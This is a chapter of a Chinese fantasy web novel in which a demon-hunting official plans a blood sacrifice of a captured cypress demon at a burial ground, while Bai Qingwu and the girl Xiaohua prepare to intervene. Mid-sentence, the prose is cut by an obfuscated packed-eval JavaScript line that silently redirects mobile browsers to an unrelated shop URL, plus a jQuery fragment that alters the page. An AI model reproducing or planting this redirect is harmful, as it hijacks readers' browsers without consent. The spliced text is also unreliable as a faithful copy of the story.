“嗯?”
白卿芜把茶杯往桌上一放,不轻不重,但声响刚好够两人听到。
陆行倒也没在意白卿芜这般打断他说话,依旧自顾自道,“神庙的那位抛弃了月夕镇的百姓,才使得现在的曦月镇如此,禁原的祖宗们不安,还是在怪罪神庙神明的背叛!”
“那你欲何为?”
“祭妖血,抚冤魂!”
陆行道:“妖物的血有灵性,有古籍称,用大妖的血祭祀,可以平息亡灵怨气,这是平息禁原怨气最好的方式。”
“禁原可关乎曦月镇的百姓,你行此举,曦月镇百姓可还同意?”
陆行沉默了一会,摇头,“没有。”
白卿芜看着他也没有追问,此事就算他不去问,也能猜到一二,曦月镇百姓若是知道陆行要用妖物的血来玷污禁原,惊扰他们的祖先,光是那些安眠在禁原的那些老祖宗的子孙后代们,都能合力把这缉妖司的大门拆了,再把陆行一行人尽数赶回上京去。
自从月夕镇被屠一事后,百姓砸神庙,弃神像,早已不信神明不敬鬼神,唯一敬重的只有自己的祖先。
正所谓求人不如求己,将希望寄托在仙啊神的身上,不如放在自己的老祖宗身上,有那空求神拜佛的,还要担心有一天会不会被神明所弃,还不如求老祖宗泉下有灵多保佑保佑后代子孙才是正道!
所以曦月镇的百姓才修建禁原,给老祖宗们安魂镇魄,祝老祖宗早登极乐转世投胎。
如今要说咱祖宗在禁原待的不快乐,还要拿妖物那肮脏的血去扰咱老祖宗的清净?都不要想,必是一件能引起镇上百姓众怒的天大祸事。
白卿芜不去细问,岔开话题,“那曦月山抓到的是个什么妖啊,听说挺厉害的。”
这一问,陆行可忍不住想炫耀,“那可是个万年大妖,险些折了我们好几个高阶道士。说起来也是天意,前几日山下百姓报官,说是有猎户在曦月山半山腰见到精怪下山,曦月镇百姓闹了好几日的恐慌。于是我们便在山脚下布了阵法。”
陆行接着说,“但是按理说,那种万年大妖,法力强大,也不该是我们这种级别的道士的对手,人家随随便便抬手,便能将我们像山里的小蚂蚁一样尽数湮灭。可恰巧我们在山下布置的阵法专克木属性的大妖。”
“克木?”白卿芜心想,那确实是巧。
“是啊,那个老妖怪是柏树成精,刚好被阵法所克,若下山是个万年兽妖,此刻曦月镇怕是要凶多吉少了。”
陆行说的兴奋,以小小缉妖司的道行,能捕获万年大妖确实值得炫耀。
“那法阵布了几天都没动静,本想着大概是百姓谣传,曦月镇近些年虽说也有妖啊怪的,但说到底不过是些小妖闹事,怎么处理大家都有经验。那天这柏树妖一头撞进阵法里,立刻就被困住了。”他顿了顿,像是在回忆那天的情景,“若不是他在阵法里挣扎的那么厉害,我们还不知道他身上的妖气竟有这么重,万年大妖呐,我可从未见过这么厉害的妖怪。”
白卿芜的手指在茶杯上停了一下。
万年大妖、柏树成精、曦月山……
再回想小花那天在山上的对话,能达成这些条件的,也就只有……
“这大妖此刻就关在缉妖司?”白卿芜问。
陆行看了他一眼,只觉得这人今天问的是不是有点多,但又觉得,外界都说白卿芜白公子道行高深,实属曦月山高人之首,又说此人淡泊名利,向来只顾游山玩水,并不爱掺和世事,可再怎么淡泊名利的道士,听了这万年大妖的名头,也是忍不住想要探听见识一番的。
高人终究也还是俗人,陆行心想。
“昨夜就已送去禁原了,”继而又说道,“此事实在过于棘手,原本今日也是打算因着此事,去请一趟白公子的,既然白公子也是为着这大妖前来,何不如夜间随我一起,去禁原观礼?”
若是同意,那日后调查禁原一事,白卿芜定然不好再去推脱,若是不同意……陆行想,他今日已然从缉妖司听去这么多的秘闻,也没有他不同意的道理,倘若如此还要拒绝,那可真算是敬酒不吃吃罚酒,彻底同缉妖司撕破脸皮了。
“观礼?”白卿芜抬眼看他。
“观这禁原的妖血祭奠之礼。”陆行说,“公子看过之后,若是觉得可行,禁原的事还望公子相助,若是依旧觉得此事并不可行,那——”
陆行盯着白卿芜的眼睛,停顿了一下,而后斯文地笑笑“那便再说。”语气里分明满是不容拒绝的强硬。
“也好,我也想看看,禁原到底有什么奇特之处。”
陆行大喜,“子时,曦月镇西北边背靠曦月山的山坳里,我让人在路口接公子。”
白卿芜应声,而后起身整了整衣袍。
“公子,”陆行又叫住他。
“此事干系重大,且涉及曦月镇的禁原,不便伸张,还烦请白公子缄口藏舌,切勿让外人知晓。”
终究是背着人家去闹人坟头,终归不是什么光彩的事情,白卿芜倒是答应的一点也不含糊,两人一番交谈,便送白卿芜出了缉妖司。
趁着季时停车的档口,小花连忙打听完消息,又从狗洞里钻了出来。
季时知道小花是个不老实的,赶回来时在缉妖司门口没有看到她,还找了一圈,后面见她慢悠悠的从缉妖司旁侧溜达出来,说只是随便走走,倒也没去细想,只吩咐她和自己一起在门口等着公子。
过了许久,白卿芜才从缉妖司大门出来。
前脚刚踏出门,小花便迎了上去,季时见自家公子出来,忙向公子示意,前去驱车。
小花想说什么,但白卿芜示意她一会再说,毕竟在缉妖司门口,有些话不便说,也不太能说。
马车行驶了一段路之后,白卿芜才开口。
“往缉妖司跑了一圈,都问出什么了?”
小花一愣,“你怎么知道我去打听了?”
白卿芜没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17605464|205252||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
说话,只是伸手从小花的头上摘下来几根细细的草来,又顺手拍了拍小花的肩,那里有一块小花刚刚钻狗洞时不小心蹭上的污渍。
小花倒也没有闪躲,静静地让白卿芜整理完自己的衣着,见自己的一举一动都在眼前人的掌控之中,小花也没太计较什么,慌乱地将自己从缉妖司里探听到的全都说了一遍,那个亲信虽然透露的不多,但好在关键的事情全都说了,大妖,柏树成精,这可不就是她的木白爷爷吗?
还说什么今晚子时要去参加祭礼,白公子也被受邀前去!观礼?什么是观礼?听起来就像是不好的词。
“观礼的事情,你答应陆大人了?”小花想知道一个答案。
“你是希望我去还是不去?”看她这么严肃,白卿芜不紧不慢地问道。
这是什么破问题!什么时候他还这么悠哉悠哉,小花气得简直想敲开他的脑袋来看看,这人到底有没有点同理心,若是他同意,小花自然可以跟着前往,万一有什么线索,也能抢在陆行之前将人救下来,可若是他没有答应,她现在又能怎么办,她现在一点办法都没有!
外界都说白卿芜这个隐士高人薄情薄义只顾自己逍遥快活,活的没心没肺的,小花看着这说的可一点都没错。虽说道士和妖本就是立场相对,她也没有道理硬是要求白卿芜帮她,但他这轻飘飘的态度,在此刻实在是让小花窝火。
“罢了罢了,你要是不愿,我也不该强迫你的,是我太着急了,这本就是我自己的事情。只是,我俩手腕上这个红绳我实在解不开,总是拴着影响我行事,还是得麻烦你不要离我太远,在红绳的范围之内。”小花也不愿自己被情绪所控,迁怒旁人,一边说着,便要下车。
“好了,有说没同意吗?逗你玩下还跟我急眼。”白卿芜一把拉住她。
“我已经同意陆行,今夜子时去禁原观妖血祭礼。到时你可以跟我一起,兴许能见到你的木白爷爷。”
马车朝着白府的方向行驶了一段以后,季时突然掉头,又绕着曦月镇多转了几圈后,径直朝着曦月山方向前去。
小花察觉路程有异,掀开马车的一侧帘子,见马车正朝着白府相反的方向驶去。
白卿芜靠在车壁上,知道她在看,闭着眼睛:“不想现在就去禁原看看?”
小花终于清楚他的用意,感激地看向面前这个平时看着并不靠谱的公子哥,不再多问。
掀开车帘的一角,往外看。曦月镇的街道在车窗外缓缓后退,市井的气息一如既往。她不知道禁原是什么样子,不知道木白爷爷现在怎么样,不知道自己去了能做什么。
她只是知道自己必须去。可是去了,她能做什么吗?
“你会帮我救他吗?”小花问。
对面的白卿芜没有回答。
“你帮帮我,可以吗?”
“我已经答应了你去禁原,别的我可没说。你现在要做的,应该是利用时间,休养生息,一会可有一场硬仗要打。”